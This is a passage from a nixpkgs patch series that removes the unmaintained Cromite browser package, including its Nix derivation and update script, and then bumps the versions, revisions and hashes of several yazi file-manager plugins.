-  gtk3,
-  gtk4,
-  libdrm,
-  libglvnd,
-  libkrb5,
-  libX11,
-  libxcb,
-  libXcomposite,
-  libXcursor,
-  libXdamage,
-  libXext,
-  libXfixes,
-  libXi,
-  libxkbcommon,
-  libXrandr,
-  libXrender,
-  libXScrnSaver,
-  libxshmfence,
-  libXtst,
-  libgbm,
-  nspr,
-  nss,
-  pango,
-  pipewire,
-  vulkan-loader,
-  wayland, # ozone/wayland
-
-  # Command line programs
-  coreutils,
-
-  # Will crash without.
-  systemd,
-
-  # Loaded at runtime.
-  libexif,
-  pciutils,
-
-  # Additional dependencies according to other distros.
-  ## Ubuntu
-  curl,
-  liberation_ttf,
-  util-linux,
-  wget,
-  xdg-utils,
-  ## Arch Linux.
-  flac,
-  harfbuzz,
-  icu,
-  libopus,
-  libpng,
-  snappy,
-  speechd-minimal,
-  ## Gentoo
-  bzip2,
-  libcap,
-
-  # Necessary for USB audio devices.
-  libpulseaudio,
-  pulseSupport ? true,
-
-  adwaita-icon-theme,
-  gsettings-desktop-schemas,
-
-  # For video acceleration via VA-API (--enable-features=VaapiVideoDecoder)
-  libva,
-  libvaSupport ? true,
-
-  # For Vulkan support (--enable-features=Vulkan)
-  addDriverRunpath,
-
-  # For QT support
-  qt6,
-
-  # command line arguments which are always set e.g "--disable-gpu"
-  commandLineArgs ? "",
-}:
-
-let
-  opusWithCustomModes = libopus.override { withCustomModes = true; };
-
-  deps =
-    [
-      alsa-lib
-      at-spi2-atk
-      at-spi2-core
-      atk
-      bzip2
-      cairo
-      coreutils
-      cups
-      curl
-      dbus
-      expat
-      flac
-      fontconfig
-      freetype
-      gcc-unwrapped.lib
-      gdk-pixbuf
-      glib
-      harfbuzz
-      icu
-      libcap
-      libdrm
-      liberation_ttf
-      libexif
-      libglvnd
-      libkrb5
-      libpng
-      libX11
-      libxcb
-      libXcomposite
-      libXcursor
-      libXdamage
-      libXext
-      libXfixes
-      libXi
-      libxkbcommon
-      libXrandr
-      libXrender
-      libXScrnSaver
-      libxshmfence
-      libXtst
-      libgbm
-      nspr
-      nss
-      opusWithCustomModes
-      pango
-      pciutils
-      pipewire
-      snappy
-      speechd-minimal
-      systemd
-      util-linux
-      vulkan-loader
-      wayland
-      wget
-    ]
-    ++ lib.optionals pulseSupport [ libpulseaudio ]
-    ++ lib.optionals libvaSupport [ libva ]
-    ++ [
-      gtk3
-      gtk4
-      qt6.qtbase
-      qt6.qtwayland
-    ];
-in
-stdenv.mkDerivation (finalAttrs: {
-  pname = "cromite";
-  version = "137.0.7151.72";
-  commit = "4ea840397d139bcaf3298a54a80a93d135f7dac7";
-
-  src = fetchurl {
-    url = "https://github.com/uazo/cromite/releases/download/v${finalAttrs.version}-${finalAttrs.commit}/chrome-lin64.tar.gz";
-    hash = "sha256-WqOQaoboRqgYXW2tzyW3LMo5WRA8l5UWjUnfBIq6r9k=";
-  };
-
-  # With strictDeps on, some shebangs were not being patched correctly
-  # ie, $out/share/cromite/chrome
-  strictDeps = false;
-
-  nativeBuildInputs = [
-    makeWrapper
-    patchelf
-    copyDesktopItems
-  ];
-
-  buildInputs = [
-    # needed for XDG_ICON_DIRS
-    adwaita-icon-theme
-    glib
-    gtk3
-    gtk4
-    # needed for GSETTINGS_SCHEMAS_PATH
-    gsettings-desktop-schemas
-  ];
-
-  rpath = lib.makeLibraryPath deps + ":" + lib.makeSearchPathOutput "lib" "lib64" deps;
-
-  binpath = lib.makeBinPath deps;
-
-  desktopItems = [
-    (makeDesktopItem {
-      name = "cromite";
-      exec = "cromite %U";
-      icon = "cromite";
-      genericName = "Cromite";
-      desktopName = "Cromite";
-      categories = [
-        "Application"
-        "Network"
-        "WebBrowser"
-      ];
-    })
-  ];
-
-  installPhase = ''
-    runHook preInstall
-
-    install -Dm644 product_logo_48.png $out/share/pixmaps/cromite.png
-    cp -v -a . $out/share/cromite
-    # replace bundled vulkan-loader
-    rm -v $out/share/cromite/libvulkan.so.1
-    ln -v -s -t $out/share/cromite ${lib.getLib vulkan-loader}/lib/libvulkan.so.1
-    # "--simulate-outdated-no-au" disables auto updates and browser outdated popup
-    mkdir $out/bin
-    makeWrapper $out/share/cromite/chrome $out/bin/cromite \
-      --prefix QT_PLUGIN_PATH  : "${qt6.qtbase}/lib/qt-6/plugins:${qt6.qtwayland}/lib/qt-6/plugins" \
-      --prefix NIXPKGS_QT6_QML_IMPORT_PATH : "${qt6.qtwayland}/lib/qt-6/qml" \
-      --prefix LD_LIBRARY_PATH : "$rpath" \
-      --prefix PATH            : "$binpath:${lib.makeBinPath [ xdg-utils ]}" \
-      --prefix XDG_DATA_DIRS   : "$XDG_ICON_DIRS:$GSETTINGS_SCHEMAS_PATH:${addDriverRunpath.driverLink}/share" \
-      --set CHROME_WRAPPER  "cromite" \
-      --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations --enable-wayland-ime=true --wayland-text-input-version=3}}" \
-      --add-flags "--simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT'" \
-      --add-flags ${lib.escapeShellArg commandLineArgs}
-
-    # Make sure that libGL and libvulkan are found by ANGLE libGLESv2.so
-    patchelf --set-rpath $rpath $out/share/cromite/lib*GL*
-
-    for elf in $out/share/cromite/{chrome,chrome_sandbox,chrome_crashpad_handler}; do
-      patchelf --set-rpath $rpath $elf
-      patchelf --set-interpreter "$(cat $NIX_CC/nix-support/dynamic-linker)" $elf
-    done
-
-    runHook postInstall
-  '';
-
-  passthru.updateScript = ./update.sh;
-
-  meta = {
-    changelog = "https://github.com/uazo/cromite/releases";
-    description = "Bromite fork with ad blocking and privacy enhancements";
-    homepage = "https://github.com/uazo/cromite";
-    license = with lib.licenses; [
-      bsd3
-      gpl3Plus
-    ];
-    maintainers = with lib.maintainers; [ emaryn ];
-    mainProgram = "cromite";
-    platforms = [ "x86_64-linux" ];
-    sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];
-  };
-})
diff --git a/pkgs/by-name/cr/cromite/update.sh b/pkgs/by-name/cr/cromite/update.sh
deleted file mode 100755
index 5e604bc242db..000000000000
--- a/pkgs/by-name/cr/cromite/update.sh
+++ /dev/null
@@ -1,18 +0,0 @@
-#!/usr/bin/env nix-shell
-#!nix-shell -I nixpkgs=./. -i bash -p curl gnused jq nix bash coreutils nix-update common-updater-scripts
-
-set -eou pipefail
-
-latestTag=$(curl ${GITHUB_TOKEN:+-u ":$GITHUB_TOKEN"} -sL https://api.github.com/repos/uazo/cromite/releases/latest | jq --raw-output .tag_name | sed 's/^v//')
-latestVersion="${latestTag%-*}"
-commit="${latestTag#*-}"
-
-currentVersion=$(nix-instantiate --eval -E "with import ./. {}; cromite.version or (lib.getVersion cromite)" | tr -d '"')
-
-if [[ "$currentVersion" == "$latestVersion" ]]; then
-    echo "package is up-to-date: $currentVersion"
-    exit 0
-fi
-
-update-source-version cromite $commit --version-key=commit || true
-nix-update cromite --version $latestVersion
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index 6c89ae88276b..22c48f3dc362 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -444,6 +444,7 @@ mapAliases {
   cosmic-tasks = tasks; # Added 2024-07-04
   cpp-ipfs-api = cpp-ipfs-http-client; # Project has been renamed. Added 2022-05-15
   crispyDoom = crispy-doom; # Added 2023-05-01
+  cromite = throw "'cromite' has been removed from nixpkgs due to it not being maintained"; # Added 2025-06-12
   crossLibcStdenv = stdenvNoLibc; # Added 2024-09-06
   crystal_1_2 = throw "'crystal_1_2' has been removed as it is obsolete and no longer used in the tree. Consider using 'crystal' instead"; # Added 2025-02-13
   crystal_1_7 = throw "'crystal_1_7' has been removed as it is obsolete and no longer used in the tree. Consider using 'crystal' instead"; # Added 2025-02-13

From 4f03d02b5833a78c345ab2536366f17d885a241c Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 21 May 2025 05:59:19 +0000
Subject: [PATCH 0944/4511] yaziPlugins.projects: 0-unstable-2025-03-03 ->
 0-unstable-2025-05-17

(cherry picked from commit 4a88071803654e5b916cc49088490740a46f360b)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/projects/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/projects/default.nix b/pkgs/by-name/ya/yazi/plugins/projects/default.nix
index f0a9cf929391..0246c5cb5fc4 100644
--- a/pkgs/by-name/ya/yazi/plugins/projects/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/projects/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "projects.yazi";
-  version = "0-unstable-2025-03-03";
+  version = "0-unstable-2025-05-17";
 
   src = fetchFromGitHub {
     owner = "MasouShizuka";
     repo = "projects.yazi";
-    rev = "4f11eccf835556600a37730b383ee12f00d4fc59";
-    hash = "sha256-XHGlQn0Nsxh/WScz4v2I+IWvzGJ9QTXbB7zgSCPQ+E0=";
+    rev = "df44165610faa66f623a3e2085e05085cba23d66";
+    hash = "sha256-XVN605TujmA4f1gCjJRnBBrCjmfoTdtNwhRBEqTBnLM=";
   };
 
   meta = {

From 1f291e860e3f682b89437d77f0ade727f7d03bf0 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 21 May 2025 11:50:25 +0000
Subject: [PATCH 0945/4511] yaziPlugins.mediainfo: 25.2.7-unstable-2025-04-17
 -> 25.4.8-unstable-2025-05-19

(cherry picked from commit d9de2dfd8501463f0bb12c18255c943450bea6a9)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/mediainfo/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/mediainfo/default.nix b/pkgs/by-name/ya/yazi/plugins/mediainfo/default.nix
index 452a40de6bd5..21f78d2b4d16 100644
--- a/pkgs/by-name/ya/yazi/plugins/mediainfo/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/mediainfo/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "mediainfo.yazi";
-  version = "25.2.7-unstable-2025-04-17";
+  version = "25.4.8-unstable-2025-05-19";
 
   src = fetchFromGitHub {
     owner = "boydaihungst";
     repo = "mediainfo.yazi";
-    rev = "9629b1e85c3757c834ec83fb7d931982c55f4c3f";
-    hash = "sha256-EDEIiZJy/RfXVaLNsKDeklH4qY2h+js2m0y6VSAjPkk=";
+    rev = "70ed2287159b17bf2b9c1598252c5c33ba52b8a3";
+    hash = "sha256-MMsKb9+zeOtWrpE3SalWhGIqeOwHrLdwf8xWYvWXjbo=";
   };
 
   meta = {

From 4a9cc5b36b83764272e03c489188492cfd16a9a6 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 29 May 2025 07:29:07 +0000
Subject: [PATCH 0946/4511] yaziPlugins.nord: 0-unstable-2025-05-14 ->
 0-unstable-2025-05-20

(cherry picked from commit 5667658ebef1f50f93f659450935af45fbee1964)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/nord/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/nord/default.nix b/pkgs/by-name/ya/yazi/plugins/nord/default.nix
index 5bb867500c5e..57d4b6e5d012 100644
--- a/pkgs/by-name/ya/yazi/plugins/nord/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/nord/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "nord.yazi";
-  version = "0-unstable-2025-05-14";
+  version = "0-unstable-2025-05-20";
 
   src = fetchFromGitHub {
     owner = "stepbrobd";
     repo = "nord.yazi";
-    rev = "0f8eff4367021be1b741391d98853fbd1a34baf9";
-    hash = "sha256-bcYIbKFU1bvGRS6lgEBMe2jT13bECYgQATuh3QKmhQE=";
+    rev = "c9a58b4361ac82d5ddc91e6e27b620bb096d0bee";
+    hash = "sha256-yjxdoZlOPFliNbp+SwNFd+PPWlD7j8edXC8urQo7WZA=";
   };
 
   meta = {

From 3a21a5f3e3f8bf8bfb6bc37c7c03f751299e7870 Mon Sep 17 00:00:00 2001
From: Austin Horstman <khaneliman12@gmail.com>
Date: Fri, 30 May 2025 11:33:41 -0500
Subject: [PATCH 0947/4511] yaziPlugins.bypass: 25.3.2-unstable-2025-05-11 ->
 25.3.2-unstable-2025-05-30

Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
(cherry picked from commit 8c6b6530093cf026559076dd4088817a4d7db144)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/bypass/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/bypass/default.nix b/pkgs/by-name/ya/yazi/plugins/bypass/default.nix
index 98e4b0c3f158..f98a0ad23c66 100644
--- a/pkgs/by-name/ya/yazi/plugins/bypass/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/bypass/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "bypass.yazi";
-  version = "25.3.2-unstable-2025-05-11";
+  version = "25.3.2-unstable-2025-05-30";
 
   src = fetchFromGitHub {
     owner = "Rolv-Apneseth";
     repo = "bypass.yazi";
-    rev = "85b5e9624a9eaa14c70b17b873209a2054f4062a";
-    hash = "sha256-2fblXb2uE6tq9goZKzMFgiEUVsx+uaRLyIq9BzTM8KA=";
+    rev = "381fb89a21a58605c555c109f190309b2d116d30";
+    hash = "sha256-04cyOlG843Ot+jRT8GNFjJOzV4YdPBpI9XqbaK6KXu0=";
   };
 
   meta = {

From 4a33c1f6b640b081f8728a7263e004dfc938aec8 Mon Sep 17 00:00:00 2001
From: Austin Horstman <khaneliman12@gmail.com>
Date: Fri, 30 May 2025 11:33:58 -0500
Subject: [PATCH 0948/4511] yaziPlugins.chmod: 25.2.26-unstable-2025-03-02 ->
 25.5.28-unstable-2025-05-28

Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
(cherry picked from commit c3770951798d845c6883476d9d8dcc6f317fe016)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/chmod/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/chmod/default.nix b/pkgs/by-name/ya/yazi/plugins/chmod/default.nix
index 925e7d5cc1c8..2bada46600a8 100644
--- a/pkgs/by-name/ya/yazi/plugins/chmod/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/chmod/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "chmod.yazi";
-  version = "25.2.26-unstable-2025-03-02";
+  version = "25.5.28-unstable-2025-05-28";
 
   src = fetchFromGitHub {
     owner = "yazi-rs";
     repo = "plugins";
-    rev = "b44c245500b34e713732a9130bf436b13b4777e9";
-    hash = "sha256-nZ8yfnKvNLM5aA+mmQ3PkfM5lwSKwWnkQewcg9GwseI=";
+    rev = "d642bfb0822eb0c3c5c891ab0f4b6f897a2083cb";
+    hash = "sha256-WF2b9t0VPGNP3QXgr/GMDFcSh5bsXC7KKd2ICL4WDHo=";
   };
 
   meta = {

From d8a966db3c88689f2b6427f684c8c4d3917d9b2d Mon Sep 17 00:00:00 2001
From: Austin Horstman <khaneliman12@gmail.com>
Date: Fri, 30 May 2025 11:34:38 -0500
Subject: [PATCH 0949/4511] yaziPlugins.duckdb: 25.4.8-unstable-2025-04-28 ->
 25.4.8-unstable-2025-05-29

Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
(cherry picked from commit 8d44a81a02bdc44c603503af5390b8617fe27987)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/duckdb/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/duckdb/default.nix b/pkgs/by-name/ya/yazi/plugins/duckdb/default.nix
index a6bf89025d60..e0fbcdc8b6ce 100644
--- a/pkgs/by-name/ya/yazi/plugins/duckdb/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/duckdb/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "duckdb.yazi";
-  version = "25.4.8-unstable-2025-04-28";
+  version = "25.4.8-unstable-2025-05-29";
 
   src = fetchFromGitHub {
     owner = "wylie102";
     repo = "duckdb.yazi";
-    rev = "02f902dfaf22f20c121da49bfcf5500f4fb11d7d";
-    hash = "sha256-fESxJDU7befG2aDxm79M9Eq71RH1UwA4hi0OgK9vPbM=";
+    rev = "3f8c8633d4b02d3099cddf9e892ca5469694ba22";
+    hash = "sha256-XQM459V3HbPgXKgd9LnAIKRQOAaJPdZA/Tp91TSGHqY=";
   };
 
   meta = {

From a34c6ce2c828e9029c12063d38904dc7afb8065e Mon Sep 17 00:00:00 2001
From: Austin Horstman <khaneliman12@gmail.com>
Date: Fri, 30 May 2025 11:34:53 -0500
Subject: [PATCH 0950/4511] yaziPlugins.full-border:
 25.2.26-unstable-2025-03-11 -> 25.2.26-unstable-2025-05-28

Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
(cherry picked from commit 9d1dea7de0e2ba5c713f8a9d5014faecd0430edb)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/full-border/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/full-border/default.nix b/pkgs/by-name/ya/yazi/plugins/full-border/default.nix
index 858e0a8a8cc6..0e75e2efcadc 100644
--- a/pkgs/by-name/ya/yazi/plugins/full-border/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/full-border/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "full-border.yazi";
-  version = "25.2.26-unstable-2025-03-11";
+  version = "25.2.26-unstable-2025-05-28";
 
   src = fetchFromGitHub {
     owner = "yazi-rs";
     repo = "plugins";
-    rev = "92f78dc6d0a42569fd0e9df8f70670648b8afb78";
-    hash = "sha256-mqo71VLZsHmgTybxgqKNo9F2QeMuCSvZ89uen1VbWb4=";
+    rev = "f9b3f8876eaa74d8b76e5b8356aca7e6a81c0fb7";
+    hash = "sha256-EoIrbyC7WgRzrEtvso2Sr6HnNW91c5E+RZGqnjEi6Zo=";
   };
 
   meta = {

From f001557a8b694840c8d0782333fba1b6c015a7b3 Mon Sep 17 00:00:00 2001
From: Austin Horstman <khaneliman12@gmail.com>
Date: Fri, 30 May 2025 11:35:07 -0500
Subject: [PATCH 0951/4511] yaziPlugins.git: 25.4.4-unstable-2025-04-04 ->
 25.5.28-unstable-2025-05-28

Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
(cherry picked from commit 1c82ffe4d2660d15e9ab7917a7c5055fd98810f7)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/git/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/git/default.nix b/pkgs/by-name/ya/yazi/plugins/git/default.nix
index a0fad2d1a1e9..5c3873d47a8e 100644
--- a/pkgs/by-name/ya/yazi/plugins/git/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/git/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "git.yazi";
-  version = "25.4.4-unstable-2025-04-04";
+  version = "25.5.28-unstable-2025-05-28";
 
   src = fetchFromGitHub {
     owner = "yazi-rs";
     repo = "plugins";
-    rev = "9a095057d698aaaedc4dd23d638285bd3fd647e9";
-    hash = "sha256-Lx+TliqMuaXpjaUtjdUac7ODg2yc3yrd1mSWJo9Mz2Q=";
+    rev = "d642bfb0822eb0c3c5c891ab0f4b6f897a2083cb";
+    hash = "sha256-WF2b9t0VPGNP3QXgr/GMDFcSh5bsXC7KKd2ICL4WDHo=";
   };
 
   meta = {

From bc9ffd5c8313d9462fa86d06c94536fd40880fc7 Mon Sep 17 00:00:00 2001
From: Austin Horstman <khaneliman12@gmail.com>
Date: Fri, 30 May 2025 11:35:29 -0500
Subject: [PATCH 0952/4511] yaziPlugins.jump-to-char:
 25.2.26-unstable-2025-03-02 -> 25.5.28-unstable-2025-05-28

Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
(cherry picked from commit 01e5aecdf5078eb30cb4ebfcbb5ba029f39315a7)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/jump-to-char/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/jump-to-char/default.nix b/pkgs/by-name/ya/yazi/plugins/jump-to-char/default.nix
index c40755193b8b..dde64726f7be 100644
--- a/pkgs/by-name/ya/yazi/plugins/jump-to-char/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/jump-to-char/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "jump-to-char.yazi";
-  version = "25.2.26-unstable-2025-03-02";
+  version = "25.5.28-unstable-2025-05-28";
 
   src = fetchFromGitHub {
     owner = "yazi-rs";
     repo = "plugins";
-    rev = "b44c245500b34e713732a9130bf436b13b4777e9";
-    hash = "sha256-nZ8yfnKvNLM5aA+mmQ3PkfM5lwSKwWnkQewcg9GwseI=";
+    rev = "d642bfb0822eb0c3c5c891ab0f4b6f897a2083cb";
+    hash = "sha256-WF2b9t0VPGNP3QXgr/GMDFcSh5bsXC7KKd2ICL4WDHo=";
   };
 
   meta = {

From 44ff8d205fa318ba41b6f7f3c66dd2b9e5ea168a Mon Sep 17 00:00:00 2001
From: Austin Horstman <khaneliman12@gmail.com>
Date: Fri, 30 May 2025 11:35:59 -0500
Subject: [PATCH 0953/4511] yaziPlugins.lsar: 25.2.26-unstable-2025-03-02 ->
 25.5.28-unstable-2025-05-28

Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
(cherry picked from commit d58ae95e4ec6e8affc4174d4dffd82f8224379e2)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/lsar/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/lsar/default.nix b/pkgs/by-name/ya/yazi/plugins/lsar/default.nix
index b9a2c7f7d1cc..22a9dcee84b7 100644
--- a/pkgs/by-name/ya/yazi/plugins/lsar/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/lsar/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "lsar.yazi";
-  version = "25.2.26-unstable-2025-03-02";
+  version = "25.5.28-unstable-2025-05-28";
 
   src = fetchFromGitHub {
     owner = "yazi-rs";
     repo = "plugins";
-    rev = "b44c245500b34e713732a9130bf436b13b4777e9";
-    hash = "sha256-nZ8yfnKvNLM5aA+mmQ3PkfM5lwSKwWnkQewcg9GwseI=";
+    rev = "d642bfb0822eb0c3c5c891ab0f4b6f897a2083cb";
+    hash = "sha256-WF2b9t0VPGNP3QXgr/GMDFcSh5bsXC7KKd2ICL4WDHo=";
   };
 
   meta = {

From 717a2ae636ea4e6836fecc1616078c47d8aa4f0e Mon Sep 17 00:00:00 2001
From: Austin Horstman <khaneliman12@gmail.com>
Date: Fri, 30 May 2025 11:36:11 -0500
Subject: [PATCH 0954/4511] yaziPlugins.mactag: 25.4.4-unstable-2025-04-04 ->
 25.5.28-unstable-2025-05-28

Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
(cherry picked from commit 5dcd5e87dffa50d6f9f4232940fbf42a382e92d9)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/mactag/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/mactag/default.nix b/pkgs/by-name/ya/yazi/plugins/mactag/default.nix
index 61e0b326fa6c..a5d2a170014f 100644
--- a/pkgs/by-name/ya/yazi/plugins/mactag/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/mactag/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "mactag.yazi";
-  version = "25.4.4-unstable-2025-04-04";
+  version = "25.5.28-unstable-2025-05-28";
 
   src = fetchFromGitHub {
     owner = "yazi-rs";
     repo = "plugins";
-    rev = "9a095057d698aaaedc4dd23d638285bd3fd647e9";
-    hash = "sha256-Lx+TliqMuaXpjaUtjdUac7ODg2yc3yrd1mSWJo9Mz2Q=";
+    rev = "d642bfb0822eb0c3c5c891ab0f4b6f897a2083cb";
+    hash = "sha256-WF2b9t0VPGNP3QXgr/GMDFcSh5bsXC7KKd2ICL4WDHo=";
   };
 
   meta = {

From 553f466db7f1740f86395dcdf3585d81f4c7de8d Mon Sep 17 00:00:00 2001
From: Austin Horstman <khaneliman12@gmail.com>
Date: Fri, 30 May 2025 11:36:22 -0500
Subject: [PATCH 0955/4511] yaziPlugins.mediainfo: 25.4.8-unstable-2025-05-19
 -> 25.5.28-unstable-2025-05-30

Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
(cherry picked from commit f1f6cd69beb79a168b15b74a73ede8dc2284ee26)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/mediainfo/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/mediainfo/default.nix b/pkgs/by-name/ya/yazi/plugins/mediainfo/default.nix
index 21f78d2b4d16..5dffe707c582 100644
--- a/pkgs/by-name/ya/yazi/plugins/mediainfo/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/mediainfo/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "mediainfo.yazi";
-  version = "25.4.8-unstable-2025-05-19";
+  version = "25.5.28-unstable-2025-05-30";
 
   src = fetchFromGitHub {
     owner = "boydaihungst";
     repo = "mediainfo.yazi";
-    rev = "70ed2287159b17bf2b9c1598252c5c33ba52b8a3";
-    hash = "sha256-MMsKb9+zeOtWrpE3SalWhGIqeOwHrLdwf8xWYvWXjbo=";
+    rev = "c6d0de764f6e667c1a7a49f8acc9030c02a1a45c";
+    hash = "sha256-CVHY66AcOC0STi+uDwbKe+HI3WN7MPgszlFHB479V/E=";
   };
 
   meta = {

From 4e1a12f3501a4a081269c19a18b65f7b3b16c094 Mon Sep 17 00:00:00 2001
From: Austin Horstman <khaneliman12@gmail.com>
Date: Fri, 30 May 2025 11:37:56 -0500
Subject: [PATCH 0956/4511] yaziPlugins.miller: 0-unstable-2024-08-28 ->
 0-unstable-2025-04-17

Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
(cherry picked from commit bf4e7a44b9172ffc69a04fa9fef7d607ca8fe820)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/miller/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/miller/default.nix b/pkgs/by-name/ya/yazi/plugins/miller/default.nix
index 9f2ff752c3df..3e4439d5475a 100644
--- a/pkgs/by-name/ya/yazi/plugins/miller/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/miller/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "miller.yazi";
-  version = "0-unstable-2024-08-28";
+  version = "0-unstable-2025-04-17";
 
   src = fetchFromGitHub {
     owner = "Reledia";
     repo = "miller.yazi";
-    rev = "40e02654725a9902b689114537626207cbf23436";
-    hash = "sha256-GXZZ/vI52rSw573hoMmspnuzFoBXDLcA0fqjF76CdnY=";
+    rev = "0a3d1316e38132ae9a6b91fbd69bab295cbbf2fe";
+    hash = "sha256-pZpx7V5ud5JhEkgkfVBSuM0CFIIUXZZ+pOX0xVlHf+0=";
   };
 
   meta = {

From f3f3a4c7f4555359fb2b9782359b7bca877701e8 Mon Sep 17 00:00:00 2001
From: Austin Horstman <khaneliman12@gmail.com>
Date: Fri, 30 May 2025 11:38:32 -0500
Subject: [PATCH 0957/4511] yaziPlugins.mime-ext: 25.4.4-unstable-2025-04-04 ->
 25.5.28-unstable-2025-05-28

Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
(cherry picked from commit 1a0eb71c8a4c9b6d01aae1d7787eec913cde69bb)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/mime-ext/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/mime-ext/default.nix b/pkgs/by-name/ya/yazi/plugins/mime-ext/default.nix
index bf82462f36c5..70664c9d8f6a 100644
--- a/pkgs/by-name/ya/yazi/plugins/mime-ext/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/mime-ext/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "mime-ext.yazi";
-  version = "25.4.4-unstable-2025-04-04";
+  version = "25.5.28-unstable-2025-05-28";
 
   src = fetchFromGitHub {
     owner = "yazi-rs";
     repo = "plugins";
